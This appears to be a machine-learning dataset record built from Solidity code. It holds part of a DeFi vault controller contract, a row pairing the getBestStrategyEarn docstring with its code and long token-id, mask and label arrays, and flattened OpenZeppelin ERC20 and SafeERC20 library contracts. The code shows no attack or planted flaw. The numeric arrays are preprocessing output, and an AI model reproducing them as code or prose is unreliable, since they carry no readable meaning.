// get the first strategy that will accept the deposit
address _strategy = getBestStrategyEarn(_token, _amount);
// get the want token of the strategy
address _want = IStrategy(_strategy).want();
// if the depositing token is not what the strategy wants, convert it
// then transfer it to the strategy
if (_want != _token) {
address _converter = converters[_token][_want];
IERC20(_token).safeTransfer(_converter, _amount);
_amount = IConverter(_converter).convert(
_token,
_want,
_amount
);
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
// call the strategy's deposit function
IStrategy(_strategy).deposit();
emit Earn(_strategy);
}
/**
* @notice Withdraws funds from a strategy
* @dev Only callable by a vault
* @dev If the withdraw amount is greater than the first strategy given
* by getBestStrategyWithdraw, this function will loop over strategies
* until the requested amount is met.
* @param _token The address of the token
* @param _amount The amount that will be withdrawn
*/
function withdraw(address _token, uint256 _amount) external override onlyVault(_token) {
(
address[] memory _strategies,
uint256[] memory _amounts
) = getBestStrategyWithdraw(_token, _amount);
for (uint i = 0; i < _strategies.length; i++) {
// getBestStrategyWithdraw will return arrays larger than needed
// if this happens, simply exit the loop
if (_strategies[i] == address(0)) {
break;
}
IStrategy(_strategies[i]).withdraw(_amounts[i]);
}
}
/**
* EXTERNAL VIEW FUNCTIONS
*/
/**
* @notice Returns the balance of the sum of all strategies for a given token
* @dev This function would make deposits more expensive for the more strategies
* that are added for a given token
* @param _token The address of the token
*/
function balanceOf(address _token) external view override returns (uint256 _balance) {
uint256 k = tokenStrategies[_token].strategies.length;
for (uint i = 0; i < k; i++) {
IStrategy _strategy = IStrategy(tokenStrategies[_token].strategies[i]);
address _want = _strategy.want();
if (_want != _token) {
address _converter = converters[_token][_want];
_balance = _balance.add(IConverter(_converter).convert_rate(
_want,
_token,
_strategy.balanceOf()
));
} else {
_balance = _balance.add(_strategy.balanceOf());
}
}
}
/**
* @notice Returns the cap of a strategy for a given token
* @param _token The address of the token
* @param _strategy The address of the strategy
*/
function getCap(address _token, address _strategy) external view returns (uint256) {
return tokenStrategies[_token].caps[_strategy];
}
/**
* @notice Returns whether investing is enabled for the calling vault
* @dev Should be called by the vault
*/
function investEnabled() external view override returns (bool) {
if (globalInvestEnabled) {
return tokenStrategies[vaultTokens[msg.sender]].strategies.length > 0;
}
return false;
}
/**
* @notice Returns all the strategies for a given token
* @param _token The address of the token
*/
function strategies(address _token) external view returns (address[] memory) {
return tokenStrategies[_token].strategies;
}
/**
* @notice Returns the want address of a given token
* @dev Since strategies can have different want tokens, default to using the
* want token of the vault for a given token.
* @param _token The address of the token
*/
function want(address _token) external view override returns (address) {
return IMetaVault(vaults[_token]).want();
}
/**
* @notice Returns the fee for withdrawing a specified amount
* @param _amount The amount that will be withdrawn
*/
function withdrawFee(
address,
uint256 _amount
) external view override returns (uint256 _fee) {
return vaultManager.withdrawalProtectionFee().mul(_amount).div(10000);
}
/**
* PUBLIC VIEW FUNCTIONS
*/
/**
* @notice Returns the best (optimistic) strategy for funds to be sent to with earn
* @param _token The address of the token
* @param _amount The amount that will be invested
*/
function getBestStrategyEarn(
address _token,
uint256 _amount
) public view returns (address _strategy) {
// get the index of the last strategy
uint256 k = tokenStrategies[_token].strategies.length;
// scan backwards from the index to the beginning of strategies
for (uint i = k; i > 0; i--) {
_strategy = tokenStrategies[_token].strategies[i - 1];
// get the new balance if the _amount were added to the strategy
uint256 balance = IStrategy(_strategy).balanceOf().add(_amount);
uint256 cap = tokenStrategies[_token].caps[_strategy];
// stop scanning if the deposit wouldn't go over the cap
if (balance <= cap || cap == 0) {
break;
}
}
// if never broken from the loop, use the last scanned strategy
// this could cause it to go over cap if (for some reason) no strategies
// were added with 0 cap
}
/**
* @notice Returns the best (optimistic) strategy for funds to be withdrawn from
* @dev Since Solidity doesn't support dynamic arrays in memory, the returned arrays
* from this function will always be the same length as the amount of strategies for
* a token. Check that _strategies[i] != address(0) when consuming to know when to
* break out of the loop.
* @param _token The address of the token
* @param _amount The amount that will be withdrawn
*/
function getBestStrategyWithdraw(
address _token,
uint256 _amount
) public view returns (
address[] memory _strategies,
uint256[] memory _amounts
) {
// get the length of strategies
uint256 k = tokenStrategies[_token].strategies.length;
// initialize fixed-length memory arrays
_strategies = new address[](k);
_amounts = new uint256[](k);
// scan forward from the the beginning of strategies
for (uint i = 0; i < k; i++) {
address _strategy = tokenStrategies[_token].strategies[i];
_strategies[i] = _strategy;
// get the balance of the strategy
uint256 _balance = IStrategy(_strategy).balanceOf();
// if the strategy doesn't have the balance to cover the withdraw
if (_balance < _amount) {
// withdraw what we can and add to the _amounts
_amounts[i] = _balance;
_amount = _amount.sub(_balance);
} else {
// stop scanning if the balance is more than the withdraw amount
_amounts[i] = _amount;
break;
}
}
}
/**
* MODIFIERS
*/
modifier onlyGovernance() {
require(msg.sender == vaultManager.governance(), "!governance");
_;
}
modifier onlyStrategist() {
require(msg.sender == vaultManager.strategist()
|| msg.sender == vaultManager.governance(),
"!strategist"
);
_;
}
modifier onlyHarvester() {
require(
msg.sender == vaultManager.harvester() ||
msg.sender == vaultManager.strategist() ||
msg.sender == vaultManager.governance(),
"!harvester"
);
_;
}
modifier onlyVault(address _token) {
require(msg.sender == vaults[_token], "!vault");
_;
}
}
| * @notice Returns the best (optimistic) strategy for funds to be sent to with earn @param _token The address of the token @param _amount The amount that will be invested/ get the index of the last strategy scan backwards from the index to the beginning of strategies get the new balance if the _amount were added to the strategy stop scanning if the deposit wouldn't go over the cap | function getBestStrategyEarn(
address _token,
uint256 _amount
) public view returns (address _strategy) {
uint256 k = tokenStrategies[_token].strategies.length;
for (uint i = k; i > 0; i--) {
_strategy = tokenStrategies[_token].strategies[i - 1];
uint256 balance = IStrategy(_strategy).balanceOf().add(_amount);
uint256 cap = tokenStrategies[_token].caps[_strategy];
if (balance <= cap || cap == 0) {
break;
}
}
| 5,471,941 | [
1,
1356,
326,
3796,
261,
16689,
5846,
13,
6252,
364,
284,
19156,
358,
506,
3271,
358,
598,
425,
1303,
225,
389,
2316,
1021,
1758,
434,
326,
1147,
225,
389,
8949,
1021,
3844,
716,
903,
506,
2198,
3149,
19,
336,
326,
770,
434,
326,
1142,
6252,
4135,
12727,
628,
326,
770,
358,
326,
8435,
434,
20417,
336,
326,
394,
11013,
309,
326,
389,
8949,
4591,
3096,
358,
326,
6252,
2132,
21138,
309,
326,
443,
1724,
4102,
82,
1404,
1960,
1879,
326,
3523,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
28782,
4525,
41,
1303,
12,
203,
3639,
1758,
389,
2316,
16,
203,
3639,
2254,
5034,
389,
8949,
203,
565,
262,
1071,
1476,
1135,
261,
2867,
389,
14914,
13,
288,
203,
3639,
2254,
5034,
417,
273,
1147,
1585,
15127,
63,
67,
2316,
8009,
701,
15127,
18,
2469,
31,
203,
3639,
364,
261,
11890,
277,
273,
417,
31,
277,
405,
374,
31,
277,
413,
13,
288,
203,
5411,
389,
14914,
273,
1147,
1585,
15127,
63,
67,
2316,
8009,
701,
15127,
63,
77,
300,
404,
15533,
203,
5411,
2254,
5034,
11013,
273,
467,
4525,
24899,
14914,
2934,
12296,
951,
7675,
1289,
24899,
8949,
1769,
203,
5411,
2254,
5034,
3523,
273,
1147,
1585,
15127,
63,
67,
2316,
8009,
22984,
63,
67,
14914,
15533,
203,
5411,
309,
261,
12296,
1648,
3523,
747,
3523,
422,
374,
13,
288,
203,
7734,
898,
31,
203,
5411,
289,
203,
3639,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// File: @openzeppelin/upgrades/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/Roles.sol
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/roles/MinterRole.sol
pragma solidity ^0.5.0;
contract MinterRole is Initializable, Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
function initialize(address sender) public initializer {
if (!isMinter(sender)) {
_addMinter(sender);
}
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Mintable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is Initializable, ERC20, MinterRole {
function initialize(address sender) public initializer {
MinterRole.initialize(sender);
}
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
